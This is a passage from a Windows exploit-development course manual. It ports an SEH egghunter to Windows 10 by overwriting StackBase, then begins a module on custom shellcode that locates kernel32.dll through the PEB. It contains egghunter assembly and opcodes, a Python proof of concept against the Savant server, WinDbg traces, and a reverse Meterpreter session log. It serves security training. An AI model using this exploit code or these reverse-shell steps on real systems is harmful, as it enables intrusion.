0:002> ? cl & 0x03


Evaluate expression: 0 = 00000000
Listing 261 - Verifying that the _EXCEPTION_REGISTRATION_RECORD address is aligned to the four bytes boundary

By default, the operating system and compilers ensure that the stack, as well as other classes
and structure members, are aligned accordingly. Given that we have not performed any arithmetic
operations on ESP, we have maintained the alignment and therefore pass this check as well.
This brings us to our final check.

0:002> t
eax=03e4ea34 ebx=03e50000 ecx=03e4ea2c edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b61 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x151:
77c86b61 8b4904 mov ecx,dword ptr [ecx+4] ds:0023:03e4ea30=03e4eacd

0:002> dt _EXCEPTION_REGISTRATION_RECORD @ecx


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x03e4eacd _EXCEPTION_DISPOSITION +3e4eacd

0:002> t
eax=03e4ea34 ebx=03e50000 ecx=03e4eacd edx=03e4e5dc esi=03e4e5c0 edi=03e4c000
eip=77c86b64 esp=03e4e518 ebp=03e4e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x154:
77c86b64 3bcb cmp ecx,ebx

195
(Microsoft - Alignment), https://docs.microsoft.com/en-us/cpp/cpp/alignment-cpp-declarations?view=msvc-160

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 224
Windows User Mode Exploit Development

0:002> !teb
TEB at 003e1000
ExceptionList: 03e4ea2c
StackBase: 03e50000
StackLimit: 03e4c000
SubSystemTib: 00000000
...

0:002> r @ecx; r @ebx


ecx=03e4eacd
ebx=03e50000
Listing 262 - Verifying that the _except_handler function address is higher than the StackBase

The instructions from Listing 262 get the address of our _except_handler function and check if it
is located at a higher memory address than the StackBase. This check is implemented because
the stack is only supposed to contain data. Functions can read or write to it but the stack is not
supposed to contain executable code.
Because the _except_handler function is implemented in the egghunter located on the stack, we
won’t pass this check and will not reach the call to RtlIsValidHandle.
To summarize, to reach the RtlIsValidHandle call, we have to pass the following checks:
1. The memory address of our _EXCEPTION_REGISTRATION_RECORD structure needs to be
higher than the StackLimit.
2. The memory address of our _EXCEPTION_REGISTRATION_RECORD structure plus 0x08
needs to be lower than the StackBase.
3. The memory address of our _EXCEPTION_REGISTRATION_RECORD structure needs to be
aligned to the four bytes boundary.
4. The memory address of our _except_handler function needs to be located at a higher
address than the StackBase.
In addition to these four checks, if SafeSEH is enabled, every _except_handler function address is
going to be validated by the RtlIsValidHandle. Let’s quickly check the protections present on our
binary by using !nmod from the narly extension.
0:002> !nmod
00400000 00452000 Savant /SafeSEH OFF
C:\Savant\Savant.exe
5a710000 5a79e000 COMCTL32 /SafeSEH ON /GS *ASLR *DEP
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_5.82.16299.15_none_2c294b7f17b4b002\COMCTL32.dll
66da0000 66fb1000 comctl32_66da0000 /SafeSEH ON /GS *ASLR *DEP
C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.16299.15_none_1440321736920223\comctl32.DLL
...
Listing 263 - Verifying the protections of our vulnerable software using narly

Fortunately for us, our binary does not come compiled with any protections.
If we can modify our egghunter to pass the fourth check, the operating system should eventually
call into RtlpExecuteHandlerForException and then execute our _except_handler function.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 225
Windows User Mode Exploit Development

To bypass the check, we can attempt to overwrite the StackBase in the TEB with an appropriately
crafted value. It would have to be lower than the address of our _except_handler function, but
higher than the address of our _EXCEPTION_REGISTRATION_RECORD structure.
Our egghunter already gathers the address of the _except_handler function dynamically, so we
could subtract a small number of bytes196 from it and use that to overwrite the StackBase.
Let’s inspect our updated egghunter code.
...
" build_exception_record: "
# pop the address of the exception_handler
# into ecx
" pop ecx ;"
# mov signature into eax
" mov eax, 0x74303077 ;"
# push Handler of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push ecx ;"
# push Next of the
# _EXCEPTION_REGISTRATION_RECORD structure
" push 0xffffffff ;"
# null out ebx
" xor ebx, ebx ;"
# overwrite ExceptionList in the TEB with a pointer
# to our new _EXCEPTION_REGISTRATION_RECORD structure
" mov dword ptr fs:[ebx], esp ;"
# subtract 0x04 from the pointer
# to exception_handler
" sub ecx, 0x04 ;"
# add 0x04 to ebx
" add ebx, 0x04 ;"
# overwrite the StackBase in the TEB
" mov dword ptr fs:[ebx], ecx ;"
...
Listing 264 - egghunter_seh_win10.py: Modified version of the SEH based egghunter for Windows 10

Our new egghunter adds some additional instructions to the build_exception_record function.
After it overwrites the ExceptionList from the TEB, we subtract 0x04 from ECX, which still holds
the address of our _except_handler function. The next instruction increases the value of EBX by
0x04 and uses that as an offset into the FS register to overwrite the StackBase.
With our updated assembly instructions, we can generate the opcodes and test if our modified
egghunter will work with the help of WinDbg.

6.7.2.1 Exercises
1. Download the IDB file provided on your Windows 10 client under
C:\Installers\egghunter\ntdll.idb and open it on your Kali machine using IDA.

196
Notice the use of the small value 0x4. This allows us to still satisfy the requirements imposed by check number 1 and 2.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 226
Windows User Mode Exploit Development

2. Use the pre-set bookmarks to navigate to the important code blocks. Once there, use
WinDbg to reach those code blocks and single-step through the checks implemented to
reach the call to RtlIsValidHandle.
3. Get familiar with the checks and make sure you understand the additional instructions
implemented in the egghunter to pass all the checks.

6.7.3 Porting the SEH Egghunter to Windows 10


Our goal is to see if our modifications will resolve the issue we had. We’ll need to use WinDbg to
go through the code and determine if the exception will get handled correctly.
Let’s update our proof of concept with the modified egghunter.
...
try:
server = sys.argv[1]
port = 80
size = 253

httpMethod = b"\x31\xC9\x85\xC9\x0F\x84\x11" + b" /" # xor ecx, ecx; test ecx, ecx;
je 0x17

egghunter = (b"\x90\x90\x90\x90\x90\x90\x90\x90" # NOP sled


b"\xeb\x2a\x59\xb8\x77\x30\x30\x74"
b"\x51\x6a\xff\x31\xdb\x64\x89\x23"
b"\x83\xe9\x04\x83\xc3\x04\x64\x89"
b"\x0b\x6a\x02\x59\x89\xdf\xf3\xaf"
b"\x75\x07\xff\xe7\x66\x81\xcb\xff"
b"\x0f\x43\xeb\xed\xe8\xd1\xff\xff"
b"\xff\x6a\x0c\x59\x8b\x04\x0c\xb1"
b"\xb8\x83\x04\x08\x06\x58\x83\xc4"
b"\x10\x50\x31\xc0\xc3")

inputBuffer = b"\x41" * (size - len(egghunter))


inputBuffer+= pack("<L", (0x418674)) # 0x00418674 - pop eax; ret
...
Listing 265 - egghunter_0x11.py: Updating our egghunter to include the StackBase overwrite

After attaching WinDbg to the vulnerable software, we’ll set a breakpoint at the POP EAX; RET
instruction sequence, let the execution flow continue, and run our proof of concept.
Once our breakpoint is hit, we can single step until we reach the end of our build_exception_record
function. Now we can inspect the ExceptionList and the StackBase to determine if our assembly
instructions worked as expected.
0:003> t
eax=74303077 ebx=00000004 ecx=03e5ead2 edx=77cd1670 esi=018d5760 edi=0041703c
eip=03e5eabe esp=03e5ea2c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
03e5eabe 6a02 push 2

0:003> !teb
TEB at 00234000
ExceptionList: 03e5ea2c

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 227
Windows User Mode Exploit Development

StackBase: 03e5ead2
StackLimit: 03e5c000
SubSystemTib: 00000000
...

0:003> dt _EXCEPTION_REGISTRATION_RECORD 03e5ea2c


ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x03e5ead6 _EXCEPTION_DISPOSITION +3e5ead6
Listing 266 - Verifying that we pass all the checks

Excellent! We have successfully managed to overwrite the StackBase with a value that is lower
than the memory address of our _except_handler function, but higher than the memory address of
our _EXCEPTION_REGISTRATION_RECORD structure.
Letting the debugger continue execution will trigger the access violation. Rather than setting a
breakpoint at RtlDispatchException and going through all the comparisons manually, let’s set a
breakpoint at the _except_handler function to determine if overwriting the StackBase was enough.
0:003> g
(ce0.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000004 ecx=00000002 edx=77cd1670 esi=018d5760 edi=00000004
eip=03e5eac3 esp=03e5ea2c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
03e5eac3 f3af repe scas dword ptr es:[edi]

0:003> !exchain
03e5ea2c: 03e5ead6
Invalid exception stack at ffffffff

0:003> bp 03e5ead6

0:003> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=03e5ead6 edx=77ce3b20 esi=00000000 edi=00000000
eip=03e5ead6 esp=03e5e4b8 ebp=03e5e4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
03e5ead6 6a0c push 0Ch

0:003> u @eip
03e5ead6 6a0c push 0Ch
03e5ead8 59 pop ecx
03e5ead9 8b040c mov eax,dword ptr [esp+ecx]
03e5eadc b1b8 mov cl,0B8h
03e5eade 83040806 add dword ptr [eax+ecx],6
03e5eae2 58 pop eax
03e5eae3 83c410 add esp,10h
03e5eae6 50 push eax
Listing 267 - Reaching our exploit_handler_ function

The output from Listing 267 shows that we managed to successfully reach our _except_handler
function. Now we move on to double-check our theory behind gracefully restoring the execution
and handling the exception. We do this with the help of WinDbg.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 228
Windows User Mode Exploit Development

Our code begins by storing the value 0x0C in the ECX register. It uses that as an offset when
dereferencing ESP to fetch the third argument into EAX, which contains the pointer to the
CONTEXT structure.
0:003> t
eax=00000000 ebx=00000000 ecx=0000000c edx=77ce3b20 esi=00000000 edi=00000000
eip=03e5ead9 esp=03e5e4b8 ebp=03e5e4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
03e5ead9 8b040c mov eax,dword ptr [esp+ecx] ss:0023:03e5e4c4=03e5e5dc

0:003> t
...

0:003> dt _CONTEXT @eax


ntdll!_CONTEXT
+0x000 ContextFlags : 0x1007f
...
+0x0a0 Esi : 0x18d5760
+0x0a4 Ebx : 4
+0x0a8 Edx : 0x77cd1670
+0x0ac Ecx : 2
+0x0b0 Eax : 0x74303077
+0x0b4 Ebp : 0x41414141
+0x0b8 Eip : 0x3e5eac3
...

0:003> u 0x3e5eac3
03e5eac3 f3af repe scas dword ptr es:[edi]
03e5eac5 7507 jne 03e5eace
03e5eac7 ffe7 jmp edi
03e5eac9 6681cbff0f or bx,0FFFh
03e5eace 43 inc ebx
03e5eacf ebed jmp 03e5eabe
03e5ead1 e8d1ffffff call 03e5eaa7
03e5ead6 6a0c push 0Ch

0:003> ? 03e5eac9 - 03e5eac3


Evaluate expression: 6 = 00000006
Listing 268 - Dumping the CONTEXT structure and inspecting the Eip member

Reviewing the output from Listing 268, the Eip member of the CONTEXT structure points to the
instruction that caused the access violation (REPE SCASD).
Ideally, when restoring the execution flow, we would like the instruction pointer to point to the
beginning of the loop_inc_page function, which is 0x06 bytes further. We’ll do that with the next
instruction.
0:003> r
eax=03e5e5dc ebx=00000000 ecx=000000b8 edx=77ce3b20 esi=00000000 edi=00000000
eip=03e5eade esp=03e5e4b8 ebp=03e5e4d8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
03e5eade 83040806 add dword ptr [eax+ecx],6 ds:0023:03e5e694=03e5eac3

0:003> t
...

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 229
Windows User Mode Exploit Development

0:003> dt _CONTEXT @eax


ntdll!_CONTEXT
+0x000 ContextFlags : 0x1007f
...
+0x09c Edi : 4
+0x0a0 Esi : 0x18d5760
+0x0a4 Ebx : 4
+0x0a8 Edx : 0x77cd1670
+0x0ac Ecx : 2
+0x0b0 Eax : 0x74303077
+0x0b4 Ebp : 0x41414141
+0x0b8 Eip : 0x3e5eac9
...

0:003> u 0x3e5eac9 Le
03e5eac9 6681cbff0f or bx,0FFFh
03e5eace 43 inc ebx
03e5eacf ebed jmp 03e5eabe
03e5ead1 e8d1ffffff call 03e5eaa7
03e5ead6 6a0c push 0Ch
03e5ead8 59 pop ecx
03e5ead9 8b040c mov eax,dword ptr [esp+ecx]
03e5eadc b1b8 mov cl,0B8h
03e5eade 83040806 add dword ptr [eax+ecx],6
03e5eae2 58 pop eax
03e5eae3 83c410 add esp,10h
03e5eae6 50 push eax
03e5eae7 31c0 xor eax,eax
03e5eae9 c3 ret
Listing 269 - Overwriting the Eip member to make it point to our loop_inc_page_ function

As a final step, our egghunter will POP the return address into EAX and then increase ESP by 0x10
bytes to clean up the stack. We then push the return address back onto the stack and zero out
EAX to simulate the ExceptionContinueExecution return value.
At this point, we can remove any breakpoints and let the execution flow resume while waiting for
our shell. Unfortunately, every time we hit an unmapped memory page or one we don’t have
access to, we get an access violation, which halts the debugger.
Fortunately for us, these can be temporarily disabled in WinDbg. To avoid stopping the execution
for every “first time” exception, we’ll use the sxd197 command to disable them. This will also
disable guard pages.198
0:003> sxd av

0:003> sxd gp

0:003> bc *

0:003> g

197
(WinDBG - Exceptions, events, and crash analysis), http://windbg.info/doc/1-common-cmds.html#9_exceptions
198
(Microsoft - Creating Guard Pages), https://docs.microsoft.com/en-us/windows/win32/memory/creating-guard-pages

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 230
Windows User Mode Exploit Development

Listing 270 - Disabling the ability to catch access violations and guard page in WinDbg

Before letting the execution continue in WinDbg, let’s remember to set up a listener. The moment
our egghunter finds our egg, it will jump to it and execute our payload. This will give us a reverse
Meterpreter session on the target.
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.119.120:443


[*] Sending stage (180291 bytes) to 192.168.120.10
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.10:49675)

meterpreter > shell


Process 1796 created.
Channel 1 created.
Microsoft Windows [Version 10.0.16299.15]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Savant> ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . :


IPv4 Address. . . . . . . . . . . : 192.168.120.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.120.254

C:\Savant>
Listing 271 - Getting a reverse meterpreter on the target machine using the SEH egghunter

This confirms that our changes to the egghunter have made it functional on Windows 10. Given
that the SEH mechanism has not drastically changed, our egghunter maintains functionality on
older Windows versions such as 7 or 8.
Often in exploit development, methods that are known to be portable will break with time and
updates to the operating system. Having a very good understanding of how the technique works
gives us the opportunity to slightly modify the code and possibly restore its functionality.

6.7.3.1 Exercises
1. Generate the opcodes for the updated egghunter and update your previous proof of concept
to include them.
2. Run the proof of concept and ensure that you can break at the custom _except_handler
function. Once there, single-step through the instructions and verify that the Eip member of
the CONTEXT structure is overwritten correctly.
3. Remove all the breakpoints, disable access violations and guard pages in WinDbg, and let
the execution continue. Did you get a shell on the machine?

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 231
Windows User Mode Exploit Development

6.7.3.2 Extra Mile


1. Run the application under C:\Installers\egghunter\extra_mile\.
2. After attaching a debugger to the application, run the provided proof of concept and confirm
that a buffer overflow occurs.
3. Write a fully working exploit for the application using both a system call-based egghunter as
well as an SEH-based one.

6.8 Wrapping Up
This module covered the exploit development process in an environment that has various
restrictions including space limitations and a partial overwrite as well as various bad characters.
We also covered the inner workings of the egghunter technique as well as various
implementations. We were able to adapt both the system call-based egghunter as well as the
SEH one to run on Windows 10.
In addition, we reviewed a more portable implementation of the egghunter that uses the
structured exception handler mechanism. Using our knowledge from previous modules along
with static and dynamic code analysis, we were able to troubleshoot and port the SEH-based
egghunter to Windows 10. This resulted in a more portable egghunter and exploit.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 232
Windows User Mode Exploit Development

7 Creating Custom Shellcode


In previous modules, we generated various payloads using the Metasploit Framework and used
them in our exploits. In this module, we will learn more about how shellcode works and develop
our own reverse shell.
A Shellcode199 is a set of CPU instructions meant to be executed after a vulnerability is
successfully exploited. The term “shellcode” originally referred to the portion of an exploit used to
spawn a root shell. While reverse shells are common, it’s important to understand that we can
use shellcode in much more complex ways.
Because shellcode is generally written in the assembly language first, and then translated into the
corresponding hexadecimal opcodes, it can be used to directly manipulate CPU registers, and call
system functions.
Writing universal and reliable shellcode, particularly for the Windows platform, can be challenging
and requires some low-level knowledge of the operating system. For this reason, it is often
shrouded in mystery.
Before we get into the shellcode creation, let’s quickly review the Windows calling conventions
and system calls that are fundamental to shellcode writing.

7.1 Calling Conventions on x86


As we learned in previous modules, calling conventions200 describe the schema used to invoke
function calls. Specifically, they define:
• How arguments are passed to a function.
• Which registers the callee must preserve for the caller.
• How the stack frame needs to be prepared before the call.
• How the stack frame needs to be restored after the call.
Therefore, it is critical for the shellcode developer to use the correct calling convention for the API
function used in the shellcode.
Win32 API functions use the __stdcall201 calling convention, while C runtime functions use the
__cdecl202 calling convention.
In both of these cases, the parameters are pushed to the stack by the caller in reverse order.
However, when using __stdcall, the stack is cleaned up by the callee, while it is cleaned up by the
caller when __cdecl is used.

199
(Wikipedia - Shellcode), http://en.wikipedia.org/wiki/Shellcode
200
(Wikipedia - Calling Convention), https://en.wikipedia.org/wiki/Calling_convention
201
(Microsoft - _stdcall), https://msdn.microsoft.com/en-us/library/zxk0tw93.aspx
202
(Microsoft - _cdecl), https://docs.microsoft.com/en-us/cpp/cpp/cdecl?view=msvc-160

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 233
Windows User Mode Exploit Development

For any calling convention on a 32-bit system, the EAX, EDX, and ECX registers are considered
volatile, which means they can be clobbered during a function call. Therefore, we should not rely
on these registers unless we have tested and confirmed that they are not affected during the
execution of the called API. All other registers are considered non-volatile and must be preserved
by the callee.

The term “clobbered” refers to the process of overwriting the value of a CPU
register as part of a function call and not restoring it back to the original value
before returning out of the call.

Now that we’ve covered the basics of calling conventions found in most shellcodes, let’s learn
more about system calls and how Windows handles them.

7.2 The System Call Problem


As we learned in the egghunter module, system calls (syscalls) are a set of powerful functions
that provide an interface to the protected kernel from user space. This interface allows access to
low-level operating system functions used for I/O, thread synchronization, socket management,
and more. Practically speaking, syscalls allow user applications to directly access the kernel while
ensuring they don’t compromise the OS.203
Generally speaking, the purpose of any shellcode is to conduct arbitrary operations that are not
part of the original application code logic. In order to do so, the shellcode uses assembly
instructions that invoke system calls after the exploit hijacks the application’s execution flow.
The Windows Native API204 is equivalent to the system call interface on UNIX operating systems.
It is a mostly-undocumented application programming interface exposed to user-mode
applications by the ntdll.dll library.205 As such, it provides a way for user-mode applications to call
operating system functions located in the kernel in a controlled manner.
On most UNIX operating systems, the system call interface is well-documented and generally
available for user applications. The Native API, in contrast, is hidden behind higher-level APIs due
to the nature of the NT architecture.
The Native API supports a number of operating system APIs (Win32, OS/2, POSIX, DOS/Win16)
by implementing operating environment subsystems in user-mode that export particular APIs to
client programs.206
Kernel-level functions are typically identified by system call numbers that are used to call the
corresponding functions. It is important to note that on Windows, these system call numbers tend
to change between major and minor version releases. On Linux systems however, these call

203
(Wikipedia - System Calls), http://en.wikipedia.org/wiki/System_call
204
(The Windows Native API), https://social.technet.microsoft.com/wiki/contents/articles/11831.the-windows-native-api.aspx
205
(Wikipedia - Native API), http://en.wikipedia.org/wiki/Native_API
206
The Win32 operating environment subsystem is divided among a server process, CSRSS.EXE (Client-Server Runtime Subsystem),
and client-side DLLs that are linked with user applications that use the Win32 API.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 234
Windows User Mode Exploit Development

numbers are fixed and do not change. We should also keep in mind that the feature set exported
by the Windows system call interface is rather limited. For example, Windows does not export a
socket API via the system call interface. This means we need to avoid direct system calls to write
universal and reliable shellcode for Windows.
Without system calls, our only option for communicating directly with the kernel is to use the
Windows API, which is exported by dynamic-link libraries (DLLs) that are mapped into process
memory space at runtime. If DLLs are not already loaded into the process space, we need to load
them and locate the functions they export. Once the functions have been located, we can invoke
them as part of our shellcode in order to perform specific tasks.
Fortunately, kernel32.dll exposes functions that can be used to accomplish both of these tasks,
and is likely to be mapped into the process space.207

Remember, we’re avoiding the use of hard-coded function addresses to ensure


our shellcode is portable across different Windows versions.

The LoadLibraryA208 function implements the mechanism to load DLLs, while


GetModuleHandleA209 can be used to get the base address of an already-loaded DLL. Afterward,
GetProcAddress210 can be used to resolve symbols.
Unfortunately, the memory addresses of LoadLibrary and GetProcAddress are not automatically
known to us when we want to execute our shellcode in memory.
For our shellcode to work, we will need to find another way to obtain the base address of
kernel32.dll. Then, we’ll have to figure out how to resolve various function addresses from
kernel32.dll and any other required DLLs. Finally, we will learn how to invoke our resolved
functions to achieve various results, such as a reverse shell.

7.3 Finding kernel32.dll


First, our shellcode needs to locate the base address of kernel32.dll. As we mentioned earlier, we
need to start with this DLL because it contains all APIs required to load additional DLLs and
resolve functions within them, namely LoadLibrary and GetProcAddress.
To obtain the base address of a DLL, we need to ensure that it is mapped within the same
memory space as our running shellcode. Fortunately, kernel32.dll is almost guaranteed to be
loaded because it exports core APIs required for most processes, which will significantly increase
the portability of our shellcode.

207
An exception is when the exploited executable is statically linked.
208
(Microsoft - LoadLibraryA), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
209
(Microsoft - GetModuleHandleA), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-
getmodulehandlea
210
(Microsoft - GetProcAddress), https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 235
Windows User Mode Exploit Development

Once we obtain the base address of kernel32.dll and can resolve its exported functions, we’ll be
able to load additional DLLs using LoadLibraryA and leverage GetProcAddress to resolve functions
within them.
There are several methods that can be used to find the kernel32.dll base address. We’ll cover the
most commonly-used method, which relies on the Process Environmental Block (PEB) structure.
Two other techniques, the Structured Exception Handler (SEH)211 and the “Top Stack” method,212
are less portable and will not work on modern versions of Windows.

7.3.1 PEB Method


One of the most reliable techniques for determining the kernel32.dll base address involves
parsing the PEB.
The PEB structure is allocated by the operating system for every running process. We can find it
by traversing the process memory starting at the address contained in the FS register. On 32-bit
versions of Windows, the FS register always contains a pointer to the current Thread Environment
Block (TEB).213 The TEB is a data structure that stores information about the currently-running
thread. At offset 0x30 from the beginning of the TEB, we will find a pointer to the PEB data
structure.
Let’s inspect the various structures that our shellcode will use. To get started, we can run
Notepad, attach WinDbg to it, and dump the TEB structure.
0:002> dt nt!_TEB @$teb
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x01c EnvironmentPointer : (null)
+0x020 ClientId : _CLIENT_ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : (null)
+0x030 ProcessEnvironmentBlock : 0x7f60b000 _PEB
+0x034 LastErrorValue : 0
+0x038 CountOfOwnedCriticalSections : 0
...
Listing 272 - Gathering a pointer to the PEB structure through the Thread Environment Block

Listing 272 shows that at offset 0x30 we have a pointer to the PEB structure. We can collect a
variety of information from the PEB, including the image name, process startup arguments,
process heaps, and more.
0:002> dt nt!_PEB 0x7f60b000
ntdll!_PEB
+0x000 InheritedAddressSpace : 0 ''
+0x001 ReadImageFileExecOptions : 0 ''
+0x002 BeingDebugged : 0x1 ''
+0x003 BitField : 0x4 ''
+0x003 ImageUsesLargePages : 0y0

211
(Understanding Windows Shellcode), http://index-of.es/Exploit/Understanding%20Windows%20Shellcode.pdf
212
(Win32 Assembly Components), http://www.offensive-security.com/AWEPAPERS/winasm-1.0.1.pdf
213
(Win32 Thread Information Block), https://en.wikipedia.org/wiki/Win32_Thread_Information_Block

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 236
Windows User Mode Exploit Development

+0x003 IsProtectedProcess : 0y0


+0x003 IsImageDynamicallyRelocated : 0y1
+0x003 SkipPatchingUser32Forwarders : 0y0
+0x003 IsPackagedProcess : 0y0
+0x003 IsAppContainer : 0y0
+0x003 IsProtectedProcessLight : 0y0
+0x003 SpareBits : 0y0
+0x004 Mutant : 0xffffffff Void
+0x008 ImageBaseAddress : 0x00230000 Void
+0x00c Ldr : 0x776c9aa0 _PEB_LDR_DATA
...
Listing 273 - Gathering a pointer to the _PEB_LDR_DATA structure through the PEB

What’s most important to us is the pointer to the _PEB_LDR_DATA structure, located at offset
0x0C inside the PEB. This pointer references three linked lists revealing the loaded modules that
have been mapped into the process memory space.
Let’s inspect the _PEB_LDR_DATA structure in WinDbg to collect more information on the three
doubly-linked lists.
0:002> dt _PEB_LDR_DATA 0x776c9aa0
ntdll!_PEB_LDR_DATA
+0x000 Length : 0x30
+0x004 Initialized : 0x1 ''
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x4011728 - 0x40180d0 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x4011730 - 0x40180d8 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x4011658 - 0x40180e0 ]
+0x024 EntryInProgress : (null)
+0x028 ShutdownInProgress : 0 ''
+0x02c ShutdownThreadId : (null)
Listing 274 - Gathering the InInitializationOrderModuleList list through the _PEB_LDR_DATA structure

In Listing 274, we find three linked lists with descriptive names, each of which offers a different
ordering of the loaded modules:
• InLoadOrderModuleList shows the previous and next module in load order.
• InMemoryOrderModuleList shows the previous and next module in memory placement order.
• InInitializationOrderModuleList shows the previous and next module in initialization order.
WinDbg describes InInitializationOrderModuleList as a LIST_ENTRY structure composed of two
fields:
0:002> dt _LIST_ENTRY (0x776c9aa0 + 0x1c)
ntdll!_LIST_ENTRY
[ 0x4011658 - 0x40180e0 ]
+0x000 Flink : 0x04011658 _LIST_ENTRY [ 0x4011d88 - 0x776c9abc ]
+0x004 Blink : 0x040180e0 _LIST_ENTRY [ 0x776c9abc - 0x40188c0 ]
Listing 275 - Dumping the _LIST_ENTRY structure in WinDbg

The Flink and Blink fields are commonly used in doubly-linked lists to access the next (Flink) or
previous (Blink) entry in the list.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 237
Windows User Mode Exploit Development

This information might not seem helpful at first, but the _LIST_ENTRY structure indicated in the
_PEB_LDR_DATA is embedded as part of a larger structure of type
_LDR_DATA_TABLE_ENTRY_.214 The following listing shows the _LDR_DATA_TABLE_ENTRY_
structure in WinDbg.
0:002> dt _LDR_DATA_TABLE_ENTRY (0x04011658 - 0x10)
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x4011ab0 - 0x4011728 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x4011ab8 - 0x4011730 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4011d88 - 0x776c9abc ]
+0x018 DllBase : 0x775c0000 Void
+0x01c EntryPoint : (null)
+0x020 SizeOfImage : 0x17a000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"
+0x02c BaseDllName : _UNICODE_STRING "ntdll.dll"
+0x034 FlagGroup : [4] "???"
+0x034 Flags : 0xa2c4
...
Listing 276 - Dumping the LDR_DATA_TABLE_ENTRY structure inside WinDbg

When dumping the structure we subtract the value 0x10 from the address of the _LIST_ENTRY
structure in order to reach the beginning of the _LDR_DATA_TABLE_ENTRY_ structure.
Furthermore, Listing 276 shows that the structure contains a field called DllBase. As the name
suggests, this field holds the DLL’s base address. We can also obtain the name of the DLL using
the BaseDllName field. According to the WinDbg output, this field contains a nested structure of
_UNICODE_STRING215 type.
The official documentation states that the _UNICODE_STRING structure has a Buffer member
starting at offset 0x04 from the beginning of this structure, which contains a pointer to a string of
characters. This means that, for the purpose of our shellcode, the DLL name starts at offset 0x30
from the beginning of the _LDR_DATA_TABLE_ENTRY_ structure.
Using the structures from this section, we can effectively parse the InInitializationOrderModuleList
doubly-linked list and use the BaseDllName field to find our desired module. Once we find a
matching name, we can gather the base address from DllBase.

7.3.1.1 Exercises
1. Open Notepad and attach to it using WinDbg.
2. Using WinDbg, dump the structures listed in this section and make sure you understand the
link between them and how they can be used to obtain the base address of a module.

7.3.2 Assembling the Shellcode


With the important structures used to retrieve the base address of a loaded module covered, let’s
begin assembling our shellcode.

214
“The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System”, Page 448.
215
(Microsoft- UNICODE_STRING structure), https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 238
Windows User Mode Exploit Development

We will use the Keystone Framework in order to assemble our shellcode on the fly. We will also
use the CTypes216 Python library, which will help us run this code directly in the memory space of
the python.exe process using a number of Windows APIs. This will make the debugging process
of our shellcode much easier.

Our Python script will essentially use the Keystone Engine and CTypes to:
• Transform our ASM code into opcodes using the Keystone framework.
• Allocate a chunk of memory for our shellcode.
• Copy our shellcode to the allocated memory.
• Execute the shellcode from the allocated memory.
